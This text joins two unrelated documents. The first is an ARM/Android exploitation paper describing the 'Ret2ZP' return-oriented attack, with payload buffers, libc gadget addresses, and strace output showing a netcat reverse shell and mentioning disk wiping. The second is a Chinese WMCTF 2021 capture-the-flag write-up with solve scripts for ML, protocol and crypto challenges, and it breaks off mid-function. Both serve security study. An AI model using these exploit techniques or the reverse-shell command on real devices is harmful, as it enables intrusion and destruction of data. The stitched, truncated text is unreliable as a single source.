on many new platforms, causing exploitation to be harder. ARM Assembly is different than X86 Assembly. X86 Tricks exists to control the flow of a program after running over the EIP value [such as : ret2libc (*D)] where you can run over the EBP, EIP and can control the path of the function + add parameters(!). No public knowledge of exploitation on ARM exists by the time of writing this paper [on ARM exploitation when stack isn't executable]. This is the research, enjoy: ----[ 1.1 ARM calling convention (APCS) The standard ARM calling convention (*A) allocates the 16 ARM registers as: |=> R15 is the Program Counter (PC) |=> R14 is the Link Register (LR) |=> R13 is the Stack Pointer (SP) |=> R12 is the Intra-Procedure-call scratch register (IP) |=> R11 is the Frame Pointer (FP) |=> R4 to R10: used to hold local variables. |=> R0 to R3: used to hold argument values to and from a subroutine =========== Which means, that if we want to call SYSTEM() function, which gets one parameter (char *), it will be passed through R0. Since parameter is not being pushed on the stack when calling the function, it was not supposed to be popped from the stack, so the original way of getting parameter to function is not the same as X86. We'll need to adjust parameters using the following tricks in- order for the buffer to do successful exploit. ----[ 1.2 Why simple ret2libc will not work? What does it mean for (non-executable-stack) exploitation? Parameters needed to be setup instead of just putting them in the right order on the stack like you were used to on X86. For example, simple Ret2Libc attack on X86 would have looked something like this : |----------------|----------|------------|----------------|-----------------| | 16 A's | AAAA | SYSTEM | EXIT FUNCTION | &/bin/sh | |----------------|----------|------------|----------------|-----------------| | args | EBP [20]| EIP [24] | EBP+8 [28]| EBP+12 [32]| Meaning you can control the Base Pointer (can be used for Frame faking), the function to call to (SYSTEM(buf)), the parameter to pass to function (&/bin/sh) -> and the exit function that will be executed after SYSTEM(buf). ----[ 1.3 Understanding the vulnerable function In ARM there are a few ways of exploitation depending on the vulnerable function: (I) Vulnerable Function returns no parameters (void) (II) Vulnerable Function returns no parameters (void) but does several stuff using arguments R0-R3. (III) Vulnerable Function does return parameters (int, char* , ...) Keep reading to understand more about exploiting all of them, or how to take advantage of some of them in-order to make buffer shorter. --[ 2.- ARM Exploitation ----[ 2.0 Controlling the PC Exploiting (I) can be easy but can also be very tricky : It will be explained right after explaining why does it even work, and why can we control the PC (Program-Counter, equivalent to EIP on X86). When calling to a function, some parameters are moved to the right registers (R0-R3) [Depends on the compiling flags, but it mostly looks the same] and not being pushed on the so-called stack. let's call a function named Func, that receives 2 parameters : mov R0,R3 mov R1,R2 bl func ; See ** ** Like call instruction in X86, (also note that "l" in "bl" means "Branch with link". The next instruction will be stored on LR and in-order to return, LR will be moved back to PC.) As you can see arguments have been forwarded to the function using R0 and R1 [changes from different compiling flags, but in general case], but what happens when entering to func? push {R4, R11(FP), R14(LR)} ; in x86 : push R4\n push R11\n push R14 add FP, SP, #8 ; FP=SP+8 ... R4 is being pushed right after where the SP had pointed to. Also, R11 (which is the Frame Pointer) and the Link Register is on the stack as-well, in this order : memory goes this way <----- stack is going this way -----> == | R4 | R11 | LR | == * <-- Stack Pointer is located at * when calling the function Let's take a look at the epilogue on func: sub SP,FP, #8 ; 0x8 pop {R4, FP, PC} ; in x86 asm : pop R4\n pop FP\n pop PC\n .word 0x00008400 ; data function is using stored here .word 0x........ ; and so on ... ................ ; and so on ... So, after LR, had been pushed when entering the function, it's being popped as PC(!), meaning the next instruction will be popped after the overflow allowing to take control of PC. If we'll try a Ret2LibC attack, it will failed, because parameters are not being popped. We'll do some tricks in-order to control the parameter (R0..R3) before calling the function. We'll call this attack Ret2ZP (Return to Zero Protection), it's a combination of Return Oriented Programming, Return to LibC, and some tricks to get the machine do what we want it to do. ----[ 2.0 Ret2ZP (Return To Zero Protection) - Attack Explained in Depth Now that we see that we can control the PC but still cannot pass parameters to functions, let's explain how the Ret2ZP works. Here's a demonstration of how a buffer looks + stack in an overflown scenario (example): |----------------|----------|------------|----------------|------------------------| | 16 A's | BBBB | CCCC | DDDD | &function-[0x12345678] | |----------------|----------|------------|----------------|------------------------| | args | junk [20]| R4 |R11-framePointer| prog-counter (PC) | So after the following buffer received : "AA..A"(16 times)BBBBCCCCDDDD\x78\x56\x34\x12 We'll get the code go to &0x12345678 and R4 to hold 0x43434343 as a value and R11 to hold 0x44444444. If we want to maintain our code and do sort of RoP (return oriented programming), we'll return to the code -> (depends on how many parameters are being pushed (if at all), and if SP is not adjusted (very important!), after &function. What's the problem with jumping from PC as is to other functions (such as SYSTEM("/bin/sh");) ----[ 2.1 Ret2ZP (Return To Zero Protection) - For Local Attacker In-order to execute commands on local attack, we just need shell, and can write in whatever we want after it. We don't need a fancy commands with remote shell, netcats and echoing to devices such as /dev/tcp. Let's do a Ret2Libc attack with ROP a bit of stack lifting to not override ourselves and parameter adjustments (Ret2ZP): What we actually need? 1. Address of string /bin/sh, we can get that one from libc easily. 2. A bit of stack-lifting to stay synced with the buffer (not necessarily, but good for understanding the attack). 3. A way to push address to R0 which is not on the stack (&/bin/sh string from libc). 4. Making the return of that function point to SYSTEM function. 1 == Easy. 2 == We can get that from wprintf epilogue. This will be explained in the next section as-well so I will skip the explanation. But it's not really necessary in this case... We can still control the flow and we don't need to sync it here. Now, let's look for a way to push parameters to R0 without loosing our control of the PC. Okay, How can we do that? Let's just jump to a POP instruction which contains at- least R0, and PC. The more, the better we control it, but right now we just need to control R0 and PC. R0 Should point to &/bin/sh and PC now should point to SYSTEM function. Here's an example from Libc that contains a POP instruction with R0 and PC. Why from libc? No specific reason, could have been taken from somewhere else, but make sure it's static addresses! After a quick look, this is what I've found : 0x41dc7344 <erand48+28>: bl 0x41dc74bc <erand48_r> 0x41dc7348 <erand48+32>: ldm SP, {R0, R1} <==== WE NEED TO JUMP HERE. Let's make R0 point to &/bin/sh 0x41dc734c <erand48+36>: add SP, SP, #12 ; 0xc 0x41dc7350 <erand48+40>: pop {PC} ====> We'll get out here. Let's make it point to SYSTEM. So now, that we control everything, let's do the attack, and it will look something like this : |----------------|----------|------------|----------------|-----------------|-- 4 Bytes--|---4 bytes-----|--4 bytes----|---4 bytes-------| | 16 A's | BBBB | R4 | R11 | &41dc7348 | &/bin/sh | EEEE | FFFF | &SYSTEM | |----------------|----------|------------|----------------|-----------------|------------|---------------|-------------|-----------------| | args | junk [20]| R4 | frame pointer |prog-counter (pc)| R0 | R1 |JUNK(SP Lift)|prog-counter (pc)| Buffer will look something like this (with no spaces): A..A*16 BBBB CCCC DDDD \x48\x73\xdc\x41 \xE4\xFE\xEA\x41 EEEE FFFF \xB4\xE3\xDC\x41 Or: char buf[] = "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" //16A "\x42\x42\x42\x42" //fill buf "\x43\x43\x43\x43" //function out param1 (in this example) "\x44\x44\x44\x44" //R11 "\x48\x73\xdc\x41" //R0,R1 feeder function "\xE4\xFF\xEA\x41" //R0 "\x45\x45\x45\x45" //R1 "\x46\x46\x46\x46" //JUNK "\xB4\xFF\xDC\x41";//SYSTEM If we'll put breakpoint on system, this is the status of the relevant places: => R0 - 0x41EAFFE4 ; (&/bin/sh) => R1 - 0x45454545 => R4 - 0x43434343 => R11- 0x44444444 And SYSTEM will be called to execute /bin/sh. Great success. Although it's good for only local attack, what we really want to achieve is get a remote-shell as-well, let's do it! ----[ 2.2 Ret2ZP (Return To Zero Protection) - For Remote Attacker Local attacks are good, but we want to run commands, from remote, which is much better, and also can be used on Local attacks as-well. So let's investigate it further: For example, if we've already got R0 to point to /bin/sh string, and the size of our buffer is [64], because the SYSTEM function will smash our place in stack (except for using a small size buffer like [16] where you get shared DWORD of buffer which is not smashed by SYSTEM function), our command will not be executed! We need to use tricks in-order to bypass the self stack-smashing. Let's say, we're calling other function who's using R4,R5,R6 and LR which will translate later to PC, our buffer will look like this : |----------------|----------|------------|----------------|-----------------|---4 bytes--|---4 bytes-----|--4 bytes----|---4 bytes-------| | 16 A's | BBBB | R4 | R11 | &function | R4 | R5 | R6 | &2nd_func | |----------------|----------|------------|----------------|-----------------|------------|---------------|-------------|-----------------| | args | junk [20]| R4 | frame pointer |prog-counter (PC)| 1st param | 2nd param | 3rd param |prog-counter (PC)| Wait, We cannot always jump into SYSTEM, since the stack is smashed and we need to re-adjust it. SYSTEM is using ~384 bytes of its own stack, if we do a buf size of [16] we get 4 shared bytes [if we're actually jumping to *(SYSTEM+4) which we can jump into; Jumping into a DWORD of un-overwritten bytes can be good if you're using a local- privilege escalation attack, but not for remote attack (unless you can write to path). I.e : you can run : "sh;#AAAAA...." which you can use the first DWORD, it will run sh;# and will ignore anything else after the # till there's a null. For instance : from strace : [pid 3832] execve("/bin/sh", ["sh", "-c", "sh;#X\332\313\276"...], [/* 19 vars */]) = 0 I've entered sh;#AAAAA.... and it translated into sh;#X\332\313\276....\0 because SYSTEM had used this stack location for its own use and corrupted it. shame. We need to get our stack lifted at ~[384] bytes before or after the SYSTEM function so we can also use remote commands such as set password, run nc or rm -rf all of the hard-drive :) I've searched for a place in libc which I can use to shift my stack up, and do the Ret2ZP Attack properly. I was looking for something generic for the readers, but it was still easy to find chunk, let's look at the epilogue of wprintf and we'll find : 41df8954: e28dd00c add SP, SP, #12 ; 0xc 41df8958: e49de004 pop {LR} ; (ldr LR, [SP], #4) <--- We need to jump here! ; LR = [SP] ; SP += 4 41df895c: e28dd010 add SP, SP, #16 ; 0x10 STACK IS LIFTED RIGHT HERE BABY! 41df8960: e12fff1e bx LR ; <--- We'll get out, here :) 41df8964: 000cc6c4 .word 0x000cc6c4 This was the first thing I've seen in libc.so and that's exactly what I need! We'll jump to 0x41df8958 (pop {LR}, or we can jump to 0x41df8954 but we'll have to adjust our return accordingly) as many times as we want, time after another. Till we get enough of stack lifting we want. After fixing the stack, we'll jump right back to SYSTEM(), after stack is fixed. perfect Ret2ZP Attack! In the first case where R0 points to SP when exiting the vulnerable function - Use the technique above to fix R0 and keep the calling from this initial lift. If we got limited size of buffer, we just need to change SP to point to a specific writable region, and it can be made using one call. This method can be used to also control the amount of lifting (and more generic, by its nature). First, let's explain what's bx LR. bx {LR} is an unconditional jump to {LR} [which points to SP+4 when executing- [4bytes+next-command]), but it will also enter to thumb mode if LR[0]==1... ARM is awesome! It will look something like this: |----------------|----------|------------|----------------|-wprintf epilogue|---------------|---4 bytes--...--|------4 bytes--------|---4 bytes-------| | 16 A's | BBBB | R4 | R11 | &0x41df8958 |....&0x41df8958| &0x41df8958... | AAAA | &SYSTEM | |----------------|----------|------------|----------------|--stack lifted---|---------------|-----------------|---------------------|-----------------| | args | junk [20]| R4 | frame pointer |prog-counter (pc)| again. lift | again...n times| after enough lifting| (pc-after lift)| After enough lifting we'll get : from strace : [pid 3843] execve("/bin/sh", ["sh", "-c", "AAAABBBBCCCCDDDDEEEEFFFFGGGGHX\211\337A"...], [/* 19 vars */]) = 0 and we got all of our buffer size [16] + 8 bytes to execute whatever we want, which should be enough for remote attack as-well. i.e : from strace : [pid 3847] execve("/bin/sh", ["sh", "-c", "nc 192.168.0.1 80 -e /bin/sh;\211\337A"...], [/* 19 vars */]) = 0 Ret2ZP : great success! ----[ 2.3 Ret2ZP - R0..R3 Adjustments Other scenario: (II) Vulnerable Function returns no parameters (void) but does several stuff using arguments R0..R3. (same goes for function returning results) In this case, if you want to use the Ret2ZP Attack, you'll have to check the status of the registers after the vulnerable function returns. You just need one register who points to a relative place where R0 was after the string manipulation, and use the Ret2ZP to first adjust the parameter, then to shift the stack and then to execute payload. Which is good for a more complex command which is passed on the buffer itself, but if you need just a simple one you can use : The same way it was used in the local attack, you can even control the flow using epilogue of functions such as erand48 : .text:41DC7348 LDMFD SP, {R0,R1} ; <== R0 & R1 Are adjusted .text:41DC734C ADD SP, SP, #0xC ; Adjusting stack by 12 bytes. Meaning there will be left 4 bytes of junk. .text:41DC7350 LDMFD SP!, {PC} ; Going to next 4 bytes after junk. check for relative path from other registers such as : Register Synonym Special Role in the procedure call standard R15 PC The Program Counter. R14 LR Link Address (Link Register) / Scratch register. R13 SP Stack Pointer. Lower end of current stack frame. R12 IP The Intra-Procedure-call scratch register. R11 FP/v8 Frame pointer / Variable-register 8. R10 sl/v7 Stack limit / Variable-register number 7. R9 sb/tr/v6 Platform register. The meaning of this register is defined by the platform standard. Really easy to do, and there's great code from libc that can be used for R0..R3 adjustments. Also, You can pop into R0..R3 under certain parts of code in libc.so. Great stuff which is more then enough to gain control of affected device. For example, You can use the following epilogue from MCOUNT function to pop parameters to R0..R3: .text:41E6583C mcount .text:41E6583C STMFD SP!, {R0-R3,R11,LR} ; Alternative name is '_mcount' .text:41E65840 MOVS R11, R11 .text:41E65844 LDRNE R0, [R11,#-4] .text:41E65848 MOVNES R1, LR .text:41E6584C BLNE mcount_internal .text:41E65850 LDMFD SP!, {R0-R3,R11,LR} <=== Jumping here will get you to control R0, R1, R2, R3, R11 and LR which you'll be jumping into. .text:41E65854 BX LR .text:41E65854 ; End of function mcount If none of them is allowing you to re-produce your SP/R0..R3 on the way of the overflow, you can run only other functions/commands from the stuff which is already included in the function. Like regular ret2libc without getting parameters passed properly, you'll need to adjust it to get the proper results, from limited set of payloads (i.e : run /bin/sh or do some_func) - Or if There are static places you can use them to call each function the way you want it and to do whatever you want. Such as enabling the stack and calling our secondary payload. ----[ 2.4 Ret2ZP - Using the attack to enable stack You can also do the attack to adjust parameters for MPROTECT() to add execution bit to your memory region of which you control. Afterward, jump to the stack and run the commands using a prepared shellcode (take a look at alphanumeric shellcodes to ARM at (*B), but it's far better developed in X86). ----[ 2.5 Ret2ZP – Hacking Android based phone There are many similarities between “regular” Linux, to Android. Android people have re-compiled libc to make it a more suitable for their platforms. One of the things you can easily notice, is that there are no: “pop .* R0 .*” (Atleast in the libc of the version I’ve checked). So how will we be able to store our /system/bin/sh (it’s not just /bin/sh in Android) on R0? We’ll have to get a bit trickier, but it’s more or less, the same. For instance, Take a look at this code: mallinfo STMFD SP!, {R4,LR} MOV R4, R0 BL j_dlmallinfo MOV R0, R4 LDMFD SP!, {R4,PC}  Let’s jump here. ; End of function mallinfo Since there are no pop R0 (intentionally or by mistake, we’ll adjust R4, and store it in R0 the next jump). So let’s jump to the bolded line above, and we’ll get R4 to store our address of the string “/system/bin/sh”. After that, we’ll have R4 pointing at it and we still got control of PC, but it’s not enough, so let’s jump to the following bolded line: mallinfo STMFD SP!, {R4,LR} MOV R4, R0 BL j_dlmallinfo MOV R0, R4  Let’s jump here. LDMFD SP!, {R4,PC} ; End of function mallinfo Now, R4 will be moved to R0, and we’ll have R0 pointing to &/system/bin/sh. The next instruction will get another 4 bytes for R4 (which are not needed) and 4 bytes for the next function (&system). A shell will be executed for us. So it’s more or less the same. All the above theory of-course applies in this scenario as-well. You’ll need in the current Android that the process you attack (your own? For learning purposes!), was compiled with –fno-stack-protector (or you want to bypass that via bruteforce/cookie guessing/cookie overwrite) and dynamically linked. All the theory that had been checked on ARM Linux with regular libc will work as-well on Android, with some adjustments like the one demonstrated above. --[ 3.- Conclusions In today's world, ARM is extremely common and lots of stuff runs on ARM. In this paper is proposed a way of exploiting ARM when the stack isn't executable. All the examples from the paper had been tested and worked properly before writing it - so it's not only theory, it actually works. Working with ARM doesn't mean that you stack-overflow safe, and in this paper the payload is actually anything the attacker wants, meaning when writing code on ARM, You Should always be careful for buffer operations, check sizes and use safe coding functions instead of dangerous functions (like strcpy, memcpy, ..). Having safe coding habits can eliminate this threat :). Having the stack not executable is not enough, like proven here, adding more security mechanisms is important! --[ 4.- Acknowledgments Special thanks to : Ilan (NG!) Aelion - Thank Ilan, Couldn't have done it without you; You're the man! Also, I'd like to thank to : Moshe Vered – Thanks for the support/help! Matthew Carpenter - Thanks for your words on hard times. And thanks for Phrack of which I've taken the TXT design. May the lord be with you. --[ 5.- Author Itzhak (Zuk) Avraham. Researcher for Samsung Electronics. blog : http://imthezuk.blogspot.com / http://www.preincidentassessment.com For questions/chatting: itz2000 [at] gmail.com Under twitter as: @ihackbanme Holly --[ 6.- Reference : (*A) - The APCS ARM Calling Convention : http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042d/IHI0042D_aapcs.pdf (*B) - AlphaNumeric Shellcodes when stack is executable : http://dragos.com/psj09/pacsec2009-arm-alpha.pdf (*C) - Alphanumeric ARM shellcode - http://www.phrack.com/issues.html?issue=66&id=12 (*D) - It has some mistakes with where you control the EIP (+4) offset, but you can get the general idea from c0ntexb paper : http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf (*E) – This blog, will also contain updated version of this paper: http://imthezuk.blogspot.com
pdf
WMCTF 2021 Nu1L Writeup WMCTF 2021 Nu1L Writeup Misc Checkin Questionaire 你画我猜 我画你猜 一笔改画 Foolish Black Ai Entrance LOGO Plants VS Zombies Version1 car hack Crypto checkin easylsb ezl1near PWN red_high_heels dy_maze Nescafe Reverse Re1 Re2 Web ez piwigo Number Misc Checkin checkin Questionaire questionaire 你画我猜 随便画 我画你猜 \反应速度+手速挑战。 可以魔改题目源码,提交后自动切换到下一题,防止鼠标移动和图片加载浪费时间 一笔改画 游戏实现有bug导致可以更换题目,同时因为模型train的比较差,随便加一笔,暴力直到本地正确发给服 务器就好( function guess(name){    $.post("./start",{stt:name},function(data){start();});    clearInterval(tim);    background(255);    $("#note").text("下一题");    $("#define").slideToggle(); } import requests import numpy as np from tensorflow import keras sess = requests.session() classes = ["basketball", "umbrella", "violin", "rainbow", "police car", "sheep", "t-shirt", "bicycle", "dog", "ice cream" ] def changeformat(stt):    b=[]    for i in stt.split(';')[:-1]:        #print(i)        b.append([int(j) for j in i.split(',')])    return b DRAW_SIZE = [250, 250] def parse_line(np_ink):    #np_ink=np.array(jsline, dtype=np.float32)    # Preprocessing.    # 1. Size normalization. 赛后测了下,不用换题的bug,random start+IFGSM也可以做。 Foolish Black Ai Entrance 黑盒不定向攻击。计算每个像素的梯度,做梯度下降,注意clip,防止无穷范数超过限制    np_ink[:, 0: 2] = np_ink[:, 0: 2] / DRAW_SIZE    # 2. Compute deltas.    np_ink[1:, 0:2] -= np_ink[0:-1, 0:2]    np_ink = np_ink[1:, :]    np_ink[:, 0: 2] = -np_ink[:, 0: 2]    return np_ink url = "<http://182.92.232.152:6001/start>" model = keras.models.load_model('model.h5') def predictt(basePicture,youPrintPicture):    pic=parse_line(np.array(basePicture+changeformat(exp),dtype=np.float32))    ret=model.predict(pic.reshape([1,-1,3]))    return ret.argmax() first = 1 while 1:    chall = sess.get(url).json()    try:        pic = eval(chall["pic"])    except:        print(sess.post(url, data={'stt':'1'}).text)        continue    scores = chall["scores"]    topic = chall["topic"]    print(scores, topic)    exp = "427,263,0;427,263,0;427,263,0;427,263,0;427,263,0;427,263,0;427,263,0;427,263,0;4 27,263,1;"    res = classes[predictt(pic, exp)]    if res in topic:        print(sess.post(url, data={'stt':exp}).text)        print(sess.cookies)    else:        print(sess.post(url, data={'stt':'1'}).text) import requests import numpy as np from base64 import b64decode,b64encode from scipy.optimize import differential_evolution def getpic(s):    q=s.get("<http://118.190.157.196:8888/start>")    return np.frombuffer(b64decode(q.content),dtype="float32").reshape(1,28,28,1) def predit(s,bufa:np.ndarray):    #buf=buf.reshape(28,28)    buf=b64encode(bufa.tobytes())    q=s.post("<http://118.190.157.196:8888/predict", {"b64_image":buf,"fig_number>":str(bufa.shape[0])})    return np.array(eval(q.content)) def init():    while True:        s=requests.session()        p=getpic(s).copy()        r=predit(s,p)        if True or r.argmax()==1:            return s,p,r.argmax() s,p,correct=init() p:np.ndarray p=p.reshape(28,28) src=p.copy() victim=p.copy() def get_norm(data):    l0 = len(np.where(np.abs(data) > 0.0)[0]) / data.shape[0]    l1 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=1, axis=1))    l2 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=2, axis=1))    linf = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=np.Inf, axis=1))    return l0, l1, l2, linf def get_l_norm(x_src: np.ndarray, x_input: np.ndarray):    """   :param x_src: shape [NUM ; -1 ; -1 ; -1 ]   :param x_input: shape [NUM ; -1 ; -1 ; -1 ]   PRINT IMGS AND DIFF   :return: L0,L2,L_INF   """    assert x_src.shape == x_input.shape and x_src.shape.__len__() == 4    # 计算该变量    deta = x_src - x_input    return get_norm(deta) def loss(x):    global last    #l0, l1, l2, linf = get_l_norm(src, x)    k=predit(s,x)    res=[]    for i in range(k.shape[0]):        res.append(k[i][correct])    res=np.array(res)    rv=(last-res)/0.05    return rv def grad(dat):    global last    last=predit(s,dat.reshape(1,28,28))[0][correct]    #28*28-> 20*20 [4...25) LOGO 48;2;r;g;b ascii转义,宽512高256 因为空格大小2*1,所以实际图片大小应该是256*256,转成图片直接LSB隐写拿到flag    res=np.zeros((28,28),"float32")    pack=[]    pos=[]    for x in range(4,25):        for y in range(4,25):            v=dat.copy()            v[x][y]+=0.05            pack.append(v)            pos.append((x,y))            if len(pack)==30:                k=loss(np.array(pack))                for i in range(30):                    res[pos[i][0]][pos[i][1]]=k[i]                pack=[]                pos=[]    if len(pack) != 0:        k = loss(np.array(pack))        for i in range(len(pack)):            res[pos[i][0]][pos[i][1]] = k[i]        pack = []        pos = []    return res def submit(s,bufa:np.ndarray):    #buf=buf.reshape(28,28)    buf=b64encode(bufa.tobytes())    q=s.post("<http://118.190.157.196:8888/get_flag",{"b64_image>":buf})    return q.content def step(lr):    global victim    gd=grad(victim)    inf_mask=(abs(victim-src)<=0.1).astype("float32")    print(inf_mask.shape,gd.shape)    gd*=inf_mask    victim+=gd*lr    print(get_l_norm(src.reshape(1, 28, 28, 1), victim.reshape(1, 28, 28, 1)))    fk=predit(s,victim.reshape(1,28,28))[0][correct]    return fk for i in range(30):    res=step(max(100/(i+1),1))    print(res)    if res<0.5:        print(submit(s,victim)) Plants VS Zombies Version1 逆向发现游戏大部分逻辑都是在本地算的,可以修改植物/僵尸属性,或是做到买植物不花钱等。但是拿 到flag需要9999分,打一只特定僵尸只加10分,因此需要继续逆向协议。配合发0xc0更新游戏状态(似乎 是打的僵尸数量),0x76加分即可。 car hack 汽车固件,魔改了v2x,aes解出配置文件即可得到flag from pwn import * import fuckpy3 import struct import time io = remote('120.27.19.64',12000) for _ in range(1000):    payload = 'c00000003931626535303138333666616538346537626332643433353437353537373537000000000 0000000000000005137313233343536373839303132333400000000000000000000000000000000513 73132333435363738393031323334513731323334353637383930313233348e082a610000000000000 00000000000000000000000000000000000efbeadde'.unhex()    payload = payload[:28*4] + struct.pack('I',int(time.time())) + payload[29*4:]    cnt = 0x0000    payload = payload[:29*4] + struct.pack('I',cnt) + payload[30*4:]    io.send(payload)    print(io.recv())    time.sleep(0.2)    payload = '760000003931626535303138333666616538346537626332643433353437353537373537000000000 0000000000000005137313233343536373839303132333400000000000000000000000000000000513 731323334353637383930313233345137313233343536373839303132333418fd29610000000000000 00000000000000000000000000000000000efbeadde'.unhex()    payload = payload[:28*4] + struct.pack('I',int(time.time())) + payload[29*4:]    io.send(payload)    print(io.recv()) Crypto checkin 喂点数据找找规律,根据提示发现是knapsack,恢复出pk直接LLL。 from Crypto.Cipher import AES import fuckpy3 key = '89860918700319839632'.unhex() key = key.ljust(32,b'\x00') cipher = AES.new(key, AES.MODE_CBC) with open('v2x_misc.conf', 'rb') as f:    content = f.read() print(cipher.decrypt(content).str()) import requests from retrying import retry from Crypto.Util.number import * from sage.all import * from tqdm import trange import re @retry(stop_max_attempt_number=3) def fun(i):    res = requests.post("http://47.104.243.99:10000/show.php",data={'rp': str(i)+"a"}, timeout=1).text    return int(re.search(r'value:(\d+)', res).groups()[0]) data = [] for i in trange(100):    x = 1<<i    data.append(fun(x)-fun(x-1)) enc = 1620418829165478 delta = [] delta.append(data[0]) for i in range(1,54):    delta.append(delta[-1]*2+data[i]-data[i-1]) print(delta) n = 32 A = matrix(ZZ,n+1) for i in range(n):    A[i,i] = 2    A[i,n] = -1 easylsb agcd    A[n,i] = delta[i] A[n,n] = -enc B = A.transpose() C = B.LLL() for i in range(n+1):    if C[i][-1] == 0 and set(C[i][:-1]).issubset([-1, 1]):        print(i,C[i])        ans = 0        for j in range(32):            if(C[i][j]==1):                ans += 1<<j        print(ans)        flag = requests.post("http://47.104.243.99:10000/show.php",data={'rp': str(ans)}, timeout=1).text        print(flag)        exit(0) from itertools import permutations P_bits = 512 Q_bits = 512 R_bits = 368 gift = [277237600535070604982755687530683553968207737006191881674652662103829745170075141 0386756448208740550751595996670655493496420540488134835188904424119397523407377396 7541803369047680626679777855521353320746516377952156904891382502671506997605623359 8122137351451747895245344121957537507967900677374704761783417398910252593780589271 1104888952359074316282935938219503711810271576449990666535617698274302610608716420 5378773156550022022216779697498105190514406842671732839557620912546801935904197598 0379209252239686608212783468998981410177896033500465399718644769657632516306913846 891585595993084339666033107446181172277276433,  887094670217250964787905495838496164202726653211024616969187522823179744773177218 8249197930155992179649928202329692552293192688721321643668572994695259458092995108 7230879428380563005967010803918555647424187429181409060325889468209134903069962244 3651082302902474875633472512002837786223158352403499815887676097134190242183245489 5500254371001195315059488036706613101430871215692153855946608166258392346734433752 0208717518377472045566428941816876155397382101618449552549427860741280511257247056 4787506611944956579724097061673165419377874021485007388162921830610751206669774051 59323115934479367544796874308050506255113847,  723515137780229054421463980949056507455641374947916446699184995291059884640745286 9564722464464872650583226578971622642621579759897652279811120310832268738072663593 3135185496637685520317506111590486229597088633638724182286125541872951509612561154 1266561863090133059422981019246967609786757918628886982614448315260044928533838502 5301503823622388404041532416959758030935421511760025193420650494574436808032252537 3051183357535771866422224137476266441622543703980488278775695008032351468549278372 0703757996177864207166480060226830411304467084867869290607196603506643060846027109 74307866692057995004025140111718052440066973,  109412346842151625326325527030915410396156852575157536516926952044023173197007014 3490164788348240232834328734757584866761034967285877932296695778186855645901946125 9194749747348610498990412647884818384892181711812631273994670096269575798981226512 1472854896158846689998776813529216272195289160920611178555925034176921567919530018 3408614858183803283476800937399001974160474112899644463537391874460797320556255129 0741264153351022485642319286743947346773825592963712242963300057817609629142292656 9847446198156326856909989336722721084564472491585985177946455058937341217168694629 379748840220081206946491485871437250315384907,  211609575834658762276370701086186209248266378495532327226699880343225834773081616 9304821374246821672721872338665547743607675479179585838757494112456605250973768897 3677463257017167763851164761229662177198256982604868524303204464246142686096109899 9915168368589770865386374108687428628072319830371222391141015431861365451342165566 8164231622054900180113581731666784736463934994554325997515745306378440732281995035 9752562484254937424012885437958422215100625530508475035803477380451098910673595293 0153492015148570850982144599012954290079921102275856639848596858467969920421309059 986910246009305148842369272569286420576852251] N = [] for i in range(5):    N.append(int(gift[i]**(1/2))) X = 2**R_bits m = len(N) PR = PolynomialRing(ZZ, names=[str('x%d' % i) for i in range(1, 1 + m)]) h = 3 u = 1 variables = PR.gens() gg = [] monomials = [variables[0]**0] for i in range(m):    gg.append(N[i] - variables[i])    monomials.append(variables[i]) print(len(monomials), len(gg)) print('monomials:', monomials) B = Matrix(ZZ, len(gg), len(monomials)) for ii in range(len(gg)):    for jj in range(len(monomials)):        if monomials[jj] in gg[ii].monomials():            B[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj] ([X] * m) B = B.LLL() print('-' * 32) new_pol = [] for i in range(len(gg)):    tmp_pol = 0    for j in range(len(monomials)):        tmp_pol += monomials[j](variables) * B[i, j] / monomials[j]([X] * m)    new_pol.append(tmp_pol) if len(new_pol) > 0:    Ideal = ideal(new_pol[:m-1])    GB = Ideal.groebner_basis()    function_variables = var([str('y%d' % i) for i in range(1, 1 + m)])    res = solve([pol(function_variables) for pol in GB], function_variables)    print('got %d basis' % len(GB))    print('solved result:')    print(res)    for tmp_res in res:        PRRR.<x,y> = PolynomialRing(QQ)        q = abs(PRRR(res[0][0](x, y)).coefficients()[0].denominator())        p = N[-1] // q        print(p)        PR.<x> = PolynomialRing(Zmod(gift[0]))        f = x+p*p        p0 = f.small_roots(X=2**377,beta=0.4)        print(p0) from Crypto.Util.number import * p0 = 6601476750357138521101717660776334971038819446760424810095851732566271947341582017 33782379772904619044847045528 a = 1963937033556943247976305159158522101447367788955039599179048450888566743926955247 8707981442189040533366889400119271673542082318299388406297999036007147303 n = 2772376005350706049827556875306835539682077370061918816746526621038297451700751410 3867564482087405507515959966706554934964205404881348351889044241193975234073773967 5418033690476806266797778555213533207465163779521569048913825026715069976056233598 1221373514517478952453441219575375079679006773747047617834173989102525937805892711 1048889523590743162829359382195037118102715764499906665356176982743026106087164205 3787731565500220222167796974981051905144068426717328395576209125468019359041975980 3792092522396866082127834689989814101778960335004653997186447696576325163069138468 91585595993084339666033107446181172277276433 c = 2760636399814468041564108733495218226495016501844677506118238842533107398858038164 3453054081489645849425761993731544272820301226460981652556169928528701320395959879 7054534001096578805755681450160768405774996301474074393944462347973636169218081984 3301534319394485594681825351788447076248436135572045435686257869794750796703710663 6830632467813691802102182479509851934624551385526118228245729176141626489526643204 8606791787091254891511427061745992596141762728392285528185461068232009017910209684 8840021779550393079826539161616034777260151632827530282421179954007529046227468493 10289816035440196713284078934120783610828506 e = 65537 p = a*a+p0 print(n%p) q = n//p d = inverse(e,(p-1)*(q-1)) m = pow(c,d,n) password = long_to_bytes(m) print(password) def ModSquareRoot(a, p):    '''   Solve x such that `x^2 ≡ a (mod p)` where p is a prime,   returns all the solution(s), None if no solution.   '''    # assert(isPrime(p))    l = Legendre(a, p)  # The Legendre symbol of a over p.    if l == -1:        return None    elif l == 0:        return [0]    if p % 4 == 3:  # which is quite easy to compute.        R = pow(a, (p + 1) // 4, p)        return [R, p - R]    else:        return TonelliShanksAlgorithm(a, p) def TonelliShanksAlgorithm(a, p):    '''   Solve the equation `x^2 ≡ a (mod p)` where `p ≡ 1 (mod 4)`.   returns all the two solutions to the equation.   '''    # 1. Factor `p - 1` into `2^S * Q` where Q is odd.    Q = p - 1    S = 0    while Q & 1 == 0:        S += 1        Q //= 2    # 2. Find a NR(p).    y = 2    while Legendre(y, p) != -1:        y += 1    # 3. Calculate the four quantities.    R = 